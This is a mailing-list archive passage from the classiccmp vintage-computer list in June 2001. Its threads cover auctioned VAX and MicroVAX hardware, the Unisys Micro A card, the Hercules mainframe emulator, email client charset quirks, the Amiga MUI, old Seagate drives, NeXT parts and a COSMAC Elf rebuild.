Feb 27 19:04:11 2005 Subject: VAX 8600 lot hauled (was: Austin Texas UT Auction) In-Reply-To: <991603742.3b1aac1e56fd7@email.ou.edu> from "Jeffrey S. Sharp" at Jun 03, 2001 04:29:02 PM Message-ID: <200106032303.f53N3l630185@narnia.int.dittman.net> > (*) Two MicroVAXish machines in dual rackmount BA23s > (*) A MicroVAXish machine in a BA123 I am interested in these, depending on the processors and options. -- Eric Dittman dittman@dittman.net From dittman at dittman.net Sun Jun 3 18:06:40 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:04:11 2005 Subject: Unisys "Micro A" In-Reply-To: from "Vance Dereksen" at Jun 03, 2001 04:15:46 PM Message-ID: <200106032306.f53N6ek30199@narnia.int.dittman.net> > That would be my guess as well. IBM put out a S/390 processor-on-a-PCI > once (I have two myself). Lucky! I'd love to have a P/390 PCI card. Until I find one I guess I've just have to stick with Hercules. -- Eric Dittman dittman@dittman.net From ajp166 at bellatlantic.net Sun Jun 3 18:04:47 2001 From: ajp166 at bellatlantic.net (ajp166) Date: Sun Feb 27 19:04:11 2005 Subject: Digest #618 Message-ID: <00bb01c0ec83$2edde9a0$72799a8d@ajp166> I dont know, I have 533 hours uptime on this NT box and that was because a power failure interrupted a 1200hour run. then again I don't run Office{insert broken version} and I ten to drop kick any app that even burps and replace it. Allison -----Original Message----- From: Adrian Graham To: Classiccmp@Classiccmp. Org Date: Sunday, June 03, 2001 6:50 PM Subject: Digest #618 >Before I reboot this frickin' machine *again* and try to reply to digest 618 >about Lisas and mail readers and such I'd just like to ask the panel what >they think about being able to leave a pretty standard machine switched on >for *3 days* and watch micro$oft stuff fail time and time again while >Macromedia apps keep working.... > >Completely bloody off topic, I'll admit, but a right pain in the arse too. > >cheers > >adrian/witchy >www.binarydinosaurs.co.uk - the Online Computer Museum >0:OK, 0:1 > From mcguire at neurotica.com Sun Jun 3 18:28:20 2001 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 19:04:11 2005 Subject: Unisys "Micro A" In-Reply-To: Re: Unisys "Micro A" (Eric Dittman) References: <200106032306.f53N6ek30199@narnia.int.dittman.net> Message-ID: <15130.51220.405457.618228@phaduka.neurotica.com> On June 3, Eric Dittman wrote: > Lucky! I'd love to have a P/390 PCI card. Until I > find one I guess I've just have to stick with Hercules. Wazzat? -Dave McGuire From ajp166 at bellatlantic.net Sun Jun 3 18:50:28 2001 From: ajp166 at bellatlantic.net (ajp166) Date: Sun Feb 27 19:04:11 2005 Subject: SB-180? Message-ID: <00cc01c0ec89$7bcb0030$72799a8d@ajp166> From: joe >as I would like. FWIW Dual 80 track floppy drives, 256k memory and 32 (I >think) Mb hard drive. Quite a nice machine for playing with CPM. Yes it are. > Does anyone know what's involved in adding the speech option? Also can No. >this run four 3 1/2"/5 1/4" floppy drives AND four 8" drives or only a >total of 4 drives? The manual is vague. My guess is that only a total of >four floppy drives are allowed. 4 drives max and switching from 3.5/5.25 to 8" requires a jumper, running mixed if memory serves is not easily doable. Allison From pete at dunnington.u-net.com Sun Jun 3 17:31:26 2001 From: pete at dunnington.u-net.com (Pete Turnbull) Date: Sun Feb 27 19:04:11 2005 Subject: [classiccmp] on subject line In-Reply-To: LFessen106@aol.com "Re: [classiccmp] on subject line" (Jun 3, 10:32) References: <86.af0f74a.284ba471@aol.com> Message-ID: <10106032331.ZM16894@indy.dunnington.u-net.com> On June 3, 3:03, Brian Chase wrote: > > And what're all you ClassicCmpers doing reading e-mail on Windows PCs and > Macs anyhow? How embarassing. :-) We're not -- at least, I'm not. This mail client is running on a ten-year old SGI. -- Pete Peter Turnbull Network Manager University of York From optimus at canit.se Sun Jun 3 07:01:55 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:11 2005 Subject: Altair 8800 front panel lamps In-Reply-To: <004f01c0ebce$a4d6ba20$0200a8c0@marvin> Message-ID: <1544.554T2750T7815911optimus@canit.se> Mark Gregory skrev: >----- Original Message ----- >From: "Sellam Ismail" >To: >Sent: Saturday, June 02, 2001 6:25 PM >Subject: Re: Altair 8800 front panel lamps Sigh, yet another five-line attribution tag. >> On Sat, 2 Jun 2001, ajp166 wrote: >> >> > I wrote once about this and it's annoying!!!!!!!!!!!!!!! >> > >> > Stop with the funky font shit! >> >> Allison, what e-mail reader are you using? I'm using PINE, and if there >> is any HTML encoding in the message, I would see it. But I don't see >> anything coming from any of Marvin's postings, so I'm trying to figure >out >> what you're getting on your end. >FWIW, I use Outlook Express at work, and Marvin's messages all display in a >different font (a sans-serif, very thin font) from my default mail font. So >OE at least is interpreting something in the message as HTML formatting. >But all I get is the "funky font", no other HTML features (colour changes, >bold, etc). Which means that although Marvin should really set a correct character set, what's really at fault (again) is Outlook. No decent mailer would go about changing font sizes because of that. So in order to sum things up: Marvin, set your charset - OE users, ditch OE. -- En ligne avec Thor 2.6a. "Auf Sparc-Maschinen ist Linux weit weniger gut. Auf Maschinen mit sun4 Architektur ist NetBSD etwa 30% schneller. Wer auf so einer Maschine Linux faehrt tut es aus ideologischen Gruenden oder kennt nichts anderes." Aus: de.comp.os.unix.misc, "Was ist schneller?" From optimus at canit.se Sun Jun 3 07:07:46 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:11 2005 Subject: Problem Posts????? was Re: Altair 8800 front panel lamps In-Reply-To: Message-ID: <499.554T2300T7876401optimus@canit.se> Brian Chase skrev: >Technically, I'm not sure if us-ascii is exactly the same as iso-8859-1. >I think it's bad for people to use e-mail programs generate stuff like >this, as well as those that pay attention to it. US-ASCII is a 7-bit charset, whereas ISO-8859-1 (Latin-1) is an 8-bit one. Without that extra bit, you can't spell na?vet?. =) -- En ligne avec Thor 2.6a. Iggy tipsar: Koppla aldrig en C128-transformator till en A500. ?ven om kontakterna ser likadana ut, ligger sp?nningarna fel. From vance at ikickass.org Sun Jun 3 19:34:11 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:11 2005 Subject: Unisys "Micro A" In-Reply-To: <15130.51220.405457.618228@phaduka.neurotica.com> Message-ID: It's a software-based emulator. Peace... Sridhar On Sun, 3 Jun 2001, Dave McGuire wrote: > On June 3, Eric Dittman wrote: > > Lucky! I'd love to have a P/390 PCI card. Until I > > find one I guess I've just have to stick with Hercules. > > Wazzat? > > -Dave McGuire > From lists at aussie.nu Sun Jun 3 19:42:11 2001 From: lists at aussie.nu (Lists) Date: Sun Feb 27 19:04:12 2005 Subject: Thinking and work (was: Lisas) In-Reply-To: <3.0.32.20010603061459.020dad58@costanzo.net> Message-ID: > IIRC, 72-pin ECC. Same stuff as used in 9000-Ex5 / 3000-9x8. > Not sure if you can use generic, but I think I might have tried > memory from older PC Netservers and it worked. That'd be right - I only got rid of a 486 based NETserver with 64mb in it a few months ago. The machine had no value at all to me - last thing I ever expected is that the RAM would... There's a lesson in there I think... From vance at ikickass.org Sun Jun 3 20:11:12 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:12 2005 Subject: Problem Posts????? was Re: Altair 8800 front panel lamps In-Reply-To: <499.554T2300T7876401optimus@canit.se> Message-ID: LOL Peace... Sridhar On 3 Jun 2001, Iggy Drougge wrote: > Brian Chase skrev: > > >Technically, I'm not sure if us-ascii is exactly the same as iso-8859-1. > >I think it's bad for people to use e-mail programs generate stuff like > >this, as well as those that pay attention to it. > > US-ASCII is a 7-bit charset, whereas ISO-8859-1 (Latin-1) is an 8-bit one. > Without that extra bit, you can't spell naïveté. =) > > -- > En ligne avec Thor 2.6a. > > Iggy tipsar: Koppla aldrig en C128-transformator till en A500. Även om > kontakterna ser likadana ut, ligger spänningarna fel. > From gregorym at cadvision.com Sun Jun 3 20:10:43 2001 From: gregorym at cadvision.com (Mark Gregory) Date: Sun Feb 27 19:04:12 2005 Subject: Altair 8800 front panel lamps References: <1544.554T2750T7815911optimus@canit.se> Message-ID: <010801c0ec93$2e113080$0200a8c0@marvin> ----- Original Message ----- From: "Iggy Drougge" > (is that better?) > Which means that although Marvin should really set a correct character set, > what's really at fault (again) is Outlook. No decent mailer would go about > changing font sizes because of that. > > So in order to sum things up: Marvin, set your charset - OE users, ditch OE. Great idea! I can imagine the conversation now ... "Boss, I know that Outlook Express came free with our desktop O/S, and that 99% of our clients use it, and that all of the staff are familiar with it, but I really think we should dump it, because some non-work related messages from text-only mail programs on 10+ year old UNIX boxen display funny." I think you're trying to get me to join R.D. Davis in contemplative unemployment. (here's hoping you find a new job soon, R.D.). > -- > En ligne avec Thor 2.6a. > > "Auf Sparc-Maschinen ist Linux weit weniger gut. Auf Maschinen mit sun4 > Architektur ist NetBSD etwa 30% schneller. Wer auf so einer Maschine > Linux faehrt tut es aus ideologischen Gruenden oder kennt nichts anderes." > Aus: de.comp.os.unix.misc, "Was ist schneller?" > Sigh. Another pointless 5 line sig in a foreign language. From allain at panix.com Sun Jun 3 20:35:26 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:12 2005 Subject: Altair 8800 front panel lamps References: <1544.554T2750T7815911optimus@canit.se> Message-ID: <007601c0ec96$a2135780$21fe54a6@ibm23xhr06> > ...OE users, ditch OE... I certainly wouldn't reccomend 'O' over 'OE'. It was slower and creepier, ie more complex and Even Less Open than OE as if that was possible. PS pick Format>Plain Text or Tools>Options>Send>Plain Text depending on where you are. AAaack Pbffftttttffff! John A. From allain at panix.com Sun Jun 3 20:52:07 2001 From: allain at panix.com (John Allain) Date: Sun Feb 27 19:04:12 2005 Subject: Unisys "Micro A" References: <03b701c0ebd8$4e26c1c0$21fe54a6@ibm23xhr06> <3B19C45F.1D2FE567@internet1.net> Message-ID: <00d101c0ec98$f697c6e0$21fe54a6@ibm23xhr06> Thanks for the tip. I went to comp.sys.unisys and I'm starting to get answers and that's what they're saying (MCP). I'd like to see this come up myself. WT(f) is MCP? Looks like i need a clue too on the two SCSI controllers. If I use the unused one (vis a vis internal cables), It won't boot OS/2 (probable primary drive conflict). If I camp it on the busy controller it is seen by Unisys but not by OS/2. John A. ----- Original Message ----- From: Chad Fernandez To: Sent: Sunday, June 03, 2001 1:00 AM Subject: Re: Unisys "Micro A" John, My guess would be a PC sized version of a Unisys A series Mainframe. I don't know anything about them..... just that they exist. You might inquire in the Unisys newsgroup. Chad Fernandez > Add-Ons: > Unisys "Micro A" CPU card (perhaps DC113) > daughter memory card > two multiplexed serial cards > Another Adaptec SCSI card, > apparently for the Uni half of the system. > Another Internal SCSI drive > two external drives From dittman at dittman.net Sun Jun 3 21:02:49 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:04:12 2005 Subject: Unisys "Micro A" In-Reply-To: <15130.51220.405457.618228@phaduka.neurotica.com> from "Dave McGuire" at Jun 03, 2001 07:28:20 PM Message-ID: <200106040202.f5422nK30577@narnia.int.dittman.net> > On June 3, Eric Dittman wrote: > > Lucky! I'd love to have a P/390 PCI card. Until I > > find one I guess I've just have to stick with Hercules. > > Wazzat? Hercules is an IBM mainframe emulator. It does S370, ESA390, and I think zSeries. It runs OS/360, MVT, MVS, OS/390, and a couple of other operating systems. It runs under Linux and Windows. Under Linux you can use the tun driver access the network. -- Eric Dittman dittman@dittman.net From foo at siconic.com Sun Jun 3 20:33:12 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:12 2005 Subject: SB-180? In-Reply-To: <5.1.0.14.1.20010603155632.00a99190@mailhost.intellistar.net> Message-ID: On Sun, 3 Jun 2001, joe wrote: > I've been talking to another SB-180 owner and it's rekindled my > interest in them. I'm wondering how many other SB-180 owners there > are on the list? Does anyone have any interesting stories to tell > about them? I've got one in my collection but that's as far as it goes. I've never fired it up (yet). :/ Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From vance at ikickass.org Sun Jun 3 21:50:17 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:12 2005 Subject: Unisys "Micro A" In-Reply-To: <00d101c0ec98$f697c6e0$21fe54a6@ibm23xhr06> Message-ID: Are you sure that card is an Adaptec? The IBM ServeRAID II Adapters use Adaptec AIC-7880 chips driven by PowerPC chips. These cards are popular for RAID in PC-based servers. Peace... Sridhar On Sun, 3 Jun 2001, John Allain wrote: > Thanks for the tip. > I went to comp.sys.unisys and I'm starting to get answers and > that's what they're saying (MCP). > I'd like to see this come up myself. WT(f) is MCP? > > Looks like i need a clue too on the two SCSI controllers. > If I use the unused one (vis a vis internal cables), It won't boot > OS/2 (probable primary drive conflict). If I camp it on the > busy controller it is seen by Unisys but not by OS/2. > > John A. > > > ----- Original Message ----- > From: Chad Fernandez > To: > Sent: Sunday, June 03, 2001 1:00 AM > Subject: Re: Unisys "Micro A" > > > John, > > My guess would be a PC sized version of a Unisys A series Mainframe. I > don't know anything about them..... just that they exist. You might > inquire in the Unisys newsgroup. > > Chad Fernandez > > > Add-Ons: > > Unisys "Micro A" CPU card (perhaps DC113) > > daughter memory card > > two multiplexed serial cards > > Another Adaptec SCSI card, > > apparently for the Uni half of the system. > > Another Internal SCSI drive > > two external drives > From padf at ihug.co.nz Sun Jun 3 19:02:43 2001 From: padf at ihug.co.nz (Patrick Ford) Date: Sun Feb 27 19:04:12 2005 Subject: on subject line In-Reply-To: Message-ID: Gidday Jeff On 04-Jun-01, you wrote: >> YAM 2.2 [040] AmigaOS E-Mail Client (c) 1995-2000 by Marcel Beck >> http://www.yam.ch > Very nice client....I was one of the early testers and > registered users of it. If I remember correctly, the main gripe > people had with it was that it used MUI, but then again, quite a lot > of stuff does, so that wasn't a big deal to me. The anti MUI movement was some sort of hysteria whereby someone screamed wolf and the sheep all galloped over the cliff. To me it seems as if people were to go about bragging that they were eschewing four-wheel-braking on their car. Regards -- *Patrick Ford Auckland, New Zealand* */#icq#/ 51642681* CHICKEN: The egg's way of making more eggs. Support *Open Directory Project* NO banners, NO junk--just information. *ODP *is built by volunteers and owned by the community . -------> http://dmoz.org <-----------Check it out From padf at ihug.co.nz Sun Jun 3 19:07:04 2001 From: padf at ihug.co.nz (Patrick Ford) Date: Sun Feb 27 19:04:12 2005 Subject: on subject line In-Reply-To: <004201c0ec44$00d7d550$72799a8d@ajp166> Message-ID: Gidday ajp166 On 04-Jun-01, you wrote: >> And what're all you ClassicCmpers doing reading e-mail on Windows PCs > and >> Macs anyhow? How embarassing. :-) >> >> -brian. > Simple, other than PCs the only netable machines I have are, Vaxen, > PDP-11s. Of those the PDP-11s really dont have a OS that supports IP networking > and the vaxen are all serial consoles (no graphics). Doable on vaxen but not > practical. > I might do it on a CP/M crate but then I need a PC to run PPOE to serial > gateway. > Its a matter of expediency and general need for modern compatability even > if I hate PCs in general. You need an Amiga as a one stop solution. It's definitely classic, but fully capable to 21st century standards. And the OS normally impresses mini and mainframe freaks with it's economy, elegance and power. Regards -- *Patrick Ford Auckland, New Zealand* */#icq#/ 51642681* The Japanese call us lazy, but at least we cook our fish! Support *Open Directory Project* NO banners, NO junk--just information. *ODP *is built by volunteers and owned by the community . -------> http://dmoz.org <-----------Check it out From vance at ikickass.org Mon Jun 4 00:26:22 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:12 2005 Subject: on subject line In-Reply-To: Message-ID: I personally have no problem doing "modern" things on VAXen. Peace... Sridhar On Mon, 4 Jun 2001, Patrick Ford wrote: > Gidday ajp166 > > On 04-Jun-01, you wrote: > > >> And what're all you ClassicCmpers doing reading e-mail on Windows PCs > > and > >> Macs anyhow? How embarassing. :-) > >> > >> -brian. > > > > Simple, other than PCs the only netable machines I have are, Vaxen, > > PDP-11s. Of those the PDP-11s really dont have a OS that supports IP networking > > and the vaxen are all serial consoles (no graphics). Doable on vaxen but not > > practical. > > > I might do it on a CP/M crate but then I need a PC to run PPOE to serial > > gateway. > > Its a matter of expediency and general need for modern compatability even > > if I hate PCs in general. > > You need an Amiga as a one stop solution. It's definitely classic, but > fully capable to 21st century standards. And the OS normally > impresses mini and mainframe freaks with it's economy, elegance and power. > > Regards > -- > *Patrick Ford Auckland, New Zealand* > */#icq#/ 51642681* > The Japanese call us lazy, but at least we cook our fish! > Support *Open Directory Project* NO banners, NO junk--just information. > *ODP *is built by volunteers and owned by the community . > -------> http://dmoz.org <-----------Check it out > > > > > > From jss at ou.edu Mon Jun 4 00:35:49 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:12 2005 Subject: VAX 8600 lot hauled (was: Austin Texas UT Auction) In-Reply-To: <200106032303.f53N3l630185@narnia.int.dittman.net> References: <200106032303.f53N3l630185@narnia.int.dittman.net> Message-ID: <991632949.3b1b1e359ce05@email.ou.edu> Quoting Eric Dittman : > > (*) Two MicroVAXish machines in dual rackmount BA23s > > (*) A MicroVAXish machine in a BA123 > > I am interested in these, depending on the processors > and options. I should know what I've got by next weekend. I'll keep you posted. -- Jeffrey S. Sharp jss@ou.edu From ernestls at home.com Mon Jun 4 00:41:06 2001 From: ernestls at home.com (Ernest) Date: Sun Feb 27 19:04:12 2005 Subject: Lisas In-Reply-To: Message-ID: Did you lose your job? That sucks, man! Ta Sellam - according to my own notes only 10K Lisa 1's were sold, 80K was roughly the number of Lisa 2/Mac XLs sold...... Losing your job has a fun effect on your brainpower :) Still, I got a Sinclair ZX80 power supply for one english pound last weekend so I'm not complaining! cheers adrian/witchy www.binarydinosaurs.co.uk - the Online Computer Museum 0:OK, 0:1 From ernestls at home.com Mon Jun 4 01:51:20 2001 From: ernestls at home.com (Ernest) Date: Sun Feb 27 19:04:12 2005 Subject: you vs. museums In-Reply-To: <3B130289.C9B5B858@ix.netcom.com> Message-ID: What sort of museum is he talking about here? I have a close friend who works at one of our local Art Museums, and she said that the museum burns through well meaning volunteer's like light bulbs, and hardly bothers to even say thank you when the volunteers leave. Being used and abused by a disinterested museum beauracracy sounds like a hell of a good time to me! Even so, I would get a lot of personal satisfaction out of helping to keep a museum's computer collection in good shape, and it's a good cause but I don't think that I could work for very long under the indifferent, micro-managing, egocentric museum officals. We don't have any computer museums in Seattle, that I'm aware of but there's no way in hell that I would volunteer to help them unless they asked me to. I am all in favor of volunteering to help non-profits, in principle but any museum (type) organization that is in any way, shape, or form connected to local or federal government agencies -like a city Art or Natural History museum is NOT the most gratifying or efficient way to do it. It's a well meaning act but the museum administration doesn't care -there's a million where you came from, in their opinion. If you want to volunteer, and have it really "mean" something, go help at your local food bank, or soup kitchen. They mean it when they say, "thank you!" Ernest -----Original Message----- From: owner-classiccmp@classiccmp.org [mailto:owner-classiccmp@classiccmp.org]On Behalf Of Campbell Sent: Monday, May 28, 2001 7:00 PM To: classiccmp@classiccmp.org Subject: you vs. museums Just a note from a museum person who stumbled upon your discussion from March '01...too bad you have this antagonistic attitude - you could probably share resources with a local museum and do a lot of good. They would love the information you could provide (and maybe do some public good with?), and they might have resources (including potential access to grant money, etc.) that you would also enjoy. It doesn't seem like them offering someone a tax incentive should be such a problem in that case... Best wishes, Tim From JRichardson at softwright.co.uk Mon Jun 4 04:28:08 2001 From: JRichardson at softwright.co.uk (Julian Richardson) Date: Sun Feb 27 19:04:12 2005 Subject: SCSI or Voodoo? Message-ID: <07E0E649A9C3D411A80A0020350804BD361437@exch002.softwright.co.uk> >> ST15150N Seagate 3.5" 4.3GB 1.6" Half Height SCSI H-ST-15150N >> Narrow 50-pin > It should, but I don't have a lot of confidence in old Seagate drives. Hmm, if that's one of the Barracuda drives, I've run one for several years without trouble. They do get *very* hot though, so make sure you've got a decent cooling system. cheers Jules From jhellige at earthlink.net Mon Jun 4 05:41:42 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:12 2005 Subject: on subject line Message-ID: <01Jun4.064122edt.119049@gateway.mediacen.navy.mil> >The anti MUI movement was some sort of hysteria whereby someone >screamed wolf and the sheep all galloped over the cliff. To me it >seems as if people were to go about bragging that they were eschewing >four-wheel-braking on their car. One of the things I remember about MUI was that it did slow down the system a little. Not a big deal when I was on an A4000 but it was noticable on my A3000. Both were using the same graphics card (GVP Spectrum) and had roughly the same amount of RAM. The main difference was the processor speed. For that reason, I liked apps that didn't use it, but I did use it when I needed to. Such was the case with YAM...there just wasn't anything else comparable. I used it with Miami, Aweb and Amirc. Jeff From jhellige at earthlink.net Mon Jun 4 05:45:14 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:12 2005 Subject: on subject line Message-ID: <01Jun4.064454edt.119048@gateway.mediacen.navy.mil> >You need an Amiga as a one stop solution. It's definitely classic, but >fully capable to 21st century standards. And the OS normally >impresses mini and mainframe freaks with it's economy, elegance and power. One of these days I'll get another big box Amiga. I've always regretted getting rid of mine. I couldn't afford the PPC upgrades though and the stock CPU was no longer cutting it. Jeff From pechter at bg-tc-ppp478.monmouth.com Mon Jun 4 06:43:25 2001 From: pechter at bg-tc-ppp478.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:04:12 2005 Subject: VAX 8600 lot hauled (was: Austin Texas UT Auction) In-Reply-To: <991632949.3b1b1e359ce05@email.ou.edu> from "Jeffrey S. Sharp" at "Jun 4, 2001 00:35:49 am" Message-ID: <200106041143.f54BhPx10741@bg-tc-ppp478.monmouth.com> > Quoting Eric Dittman : > > > (*) Two MicroVAXish machines in dual rackmount BA23s > > > (*) A MicroVAXish machine in a BA123 > > > > I am interested in these, depending on the processors > > and options. > > I should know what I've got by next weekend. I'll keep you posted. > > -- > Jeffrey S. Sharp > jss@ou.edu There's a few of us interested. Also, let me know if you ever get enough power to power up the 8600. That's a very slickly built Vax... probably the best one from a packaging maintenance and design standpoint. Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From bdc at world.std.com Mon Jun 4 08:43:47 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:04:12 2005 Subject: [classiccmp] on subject line In-Reply-To: <004201c0ec44$00d7d550$72799a8d@ajp166> Message-ID: On Sun, 3 Jun 2001, ajp166 wrote: > > And what're all you ClassicCmpers doing reading e-mail on Windows PCs and > > Macs anyhow? How embarassing. :-) > > > > -brian. > Simple, other than PCs the only netable machines I have are, Vaxen, > PDP-11s. Of those the PDP-11s really dont have a OS that supports IP > networking and the vaxen are all serial consoles (no graphics). > Doable on vaxen but not practical. I didn't know that RT-11, RSX-11, and RSTS/E didn't support TCP/IP. Or at least I'd have guessed that RSX-11 would support it. I suppose there is always 2.11BSD for the PDP-11 for those with a UNIX bent--the AT&T UNIX license is even free from SCO now. And hey, I almost forgot, there's the FUZZBALL OS as well. I know it supports IP networking. -brian. From jss at ou.edu Mon Jun 4 08:55:52 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:12 2005 Subject: Unisys "Micro A" In-Reply-To: <00d101c0ec98$f697c6e0$21fe54a6@ibm23xhr06> References: <03b701c0ebd8$4e26c1c0$21fe54a6@ibm23xhr06> <3B19C45F.1D2FE567@internet1.net> <00d101c0ec98$f697c6e0$21fe54a6@ibm23xhr06> Message-ID: <991662952.3b1b93683866d@email.ou.edu> Quoting John Allain : > WT(f) is MCP? And also, did this MCP come before or after Tron, where the MCP (Master Control Program) was the big bad guy? -- Jeffrey S. Sharp jss@ou.edu From engdahl at cle.ab.com Mon Jun 4 09:07:00 2001 From: engdahl at cle.ab.com (Jonathan Engdahl) Date: Sun Feb 27 19:04:12 2005 Subject: Q-bus protoboard Message-ID: <002b01c0ecff$a017bde0$614099a1@rcs.ra.rockwell.com> Does anyone know where Q-bus protoboards can be found? -- Jonathan Engdahl Rockwell Automation Principal Research Engineer 24800 Tungsten Road Advanced Technology Euclid, OH 44117 USA Euclid Labs http://users.safeaccess.com/engdahl From spectre at stockholm.ptloma.edu Mon Jun 4 09:08:00 2001 From: spectre at stockholm.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 19:04:12 2005 Subject: SCSI or Voodoo? In-Reply-To: <07E0E649A9C3D411A80A0020350804BD361437@exch002.softwright.co.uk> from Julian Richardson at "Jun 4, 1 10:28:08 am" Message-ID: <200106041408.HAA10870@stockholm.ptloma.edu> >>> ST15150N Seagate 3.5" 4.3GB 1.6" Half Height SCSI H-ST-15150N >>> Narrow 50-pin >>It should, but I don't have a lot of confidence in old Seagate >>drives. > Hmm, if that's one of the Barracuda drives, I've run one for several years > without trouble. They do get *very* hot though, so make sure you've got a > decent cooling system. Yes, it's a 7200rpm Barracuda, and having had this same exact model, it runs *very* hot indeed. -- ----------------------------- personal page: http://www.armory.com/~spectre/ -- Cameron Kaiser, Point Loma Nazarene University * ckaiser@stockholm.ptloma.edu -- I am the mother of all things, and all things must wear a sweater. --------- From ethan_dicks at yahoo.com Mon Jun 4 09:16:37 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:12 2005 Subject: Seeking NeXT slab disk bracket In-Reply-To: Message-ID: <20010604141637.71792.qmail@web9506.mail.yahoo.com> --- CARL.P.HIRSCH@sargentlundy.com wrote: > > Black Hole Inc has them for $5. > > http://www.blackholeinc.com/specials/blackhardware.shtml > > -carl > > > From: Ethan Dicks > Subject: Seeking NeXT slab disk bracket > > ...NeXT slab... bracket for the internal hard drive. Thanks. Goofy web page, but I ordered one. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From amichael at nortelnetworks.com Mon Jun 4 09:25:42 2001 From: amichael at nortelnetworks.com (Arlen Michaels) Date: Sun Feb 27 19:04:12 2005 Subject: Seeking NeXT slab disk bracket Message-ID: I am looking for a couple of these also, as well as non-ADB NeXT mouses. Thanks, Arlen Michaels > -----Original Message----- > From: Ethan Dicks [SMTP:ethan_dicks@yahoo.com] > Sent: Friday, June 01, 2001 5:02 PM > To: classiccmp@classiccmp.org > Subject: Seeking NeXT slab disk bracket > > > OK... so I have this NeXT slab (25 Mhz '040), I have some 30-pin SIMMs, > and > I have a 4Gb SCSI drive. I even have software. What I don't have is a > bracket for the internal hard drive. Someone brought one to lunch today, > and it appears to have a couple of feet that clip on to the edge of the > case, > and one screw hole on the other side. > > Is there a place I can get a proper drive bracket? I suppose I can make > my > own, but I'm not sure it will stay put on the non-screwed-in end. > > Thanks, > > -ethan > > > ===== > Visit "The Seventh Continent" > http://penguincentral.com/penguincentral.html > > __________________________________________________ > Do You Yahoo!? > Get personalized email addresses from Yahoo! Mail - only $35 > a year! http://personal.mail.yahoo.com/ -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/20010604/944fdcb7/attachment.html From mmcfadden at cmh.edu Mon Jun 4 09:49:14 2001 From: mmcfadden at cmh.edu (McFadden, Mike) Date: Sun Feb 27 19:04:12 2005 Subject: Any Tektronix 4051, 5042, 4054, or 4662s or IBM 5100s out th ere? Message-ID: I recovered a Tektronix 4025 that still had a 3M style cartridge tape in the drive. Its a storage tube model, green screen and it works. The only problem is that the external case is missing. The keyboard and monitor bezel are there just the rest of the case is gone. I've had it in storage and I'd like to transfer it to someone who can appreciate it and maybe repair it. I'm in Kansas City Mike McFadden mmcfadden@cmh.edu From CARL.P.HIRSCH at sargentlundy.com Mon Jun 4 09:37:03 2001 From: CARL.P.HIRSCH at sargentlundy.com (CARL.P.HIRSCH@sargentlundy.com) Date: Sun Feb 27 19:04:12 2005 Subject: Blackhole and Black Hardware Message-ID: Yeah... I suspect there's one or two truly strange hippies in a warehouse somewhere in Colorado running this place. Think Jim & Malvin from WarGames + a few years and drugs. I smell one hell of a sitcom brewing. I'm seriously considering purchasing a full system from these folks, but I've never twiddled with NextStep/Openstep before. Is there much software out there for NeXT hardware? -carl Ethan Dicks cc: Sent by: Subject: Re: Seeking NeXT slab disk owner-classiccmp@clas bracket siccmp.org 06/04/01 09:16 AM Please respond to classiccmp Thanks. Goofy web page, but I ordered one. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From ethan_dicks at yahoo.com Mon Jun 4 09:47:31 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:04:12 2005 Subject: Building a new COSMAC Elf In-Reply-To: <01060121302286@jfcl.com> Message-ID: <20010604144731.45520.qmail@web9503.mail.yahoo.com> --- Bob Armstrong wrote: > I have the original Popular Electronics Elf articles, but I'd like to have > a look at the schematics for the Quest or Netronics Elf versions too. Does > anybody have copies that they can share? I have the Quest plans (and an Elf to go with them!). I can see about putting them up. I wish I had a xerox of the PCB before I had put any parts on it. My soldering skills at that age weren't very developed (nor were my tools of sufficient quality - RatShack claims another teenage victim) I had been working on a new 1802 design of my own, but it stalled when I was unable to tranfer the schematics from OrCAD for DOS to some kind of layout package. I have an original copy of PADS PCB, but I can't find the dongle. I have OrCAD layout software, but I'm having problems with getting from the schematic phase to the rats-nest phase in the layout software. I put it all on the back burner over a year ago and haven't had the time to pick it back up. Has anyone here used ExpressPCB? I saw an ad in Nuts and Volts, but know nothing about it. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail - only $35 a year! http://personal.mail.yahoo.com/ From bdc at world.std.com Mon Jun 4 10:11:19 2001 From: bdc at world.std.com (Brian Chase) Date: Sun Feb 27 19:04:12 2005 Subject: Blackhole and Black Hardware In-Reply-To: Message-ID: On Mon, 4 Jun 2001 CARL.P.HIRSCH@sargentlundy.com wrote: > I'm seriously considering purchasing a full system from these folks, > but I've never twiddled with NextStep/Openstep before. Is there much > software out there for NeXT 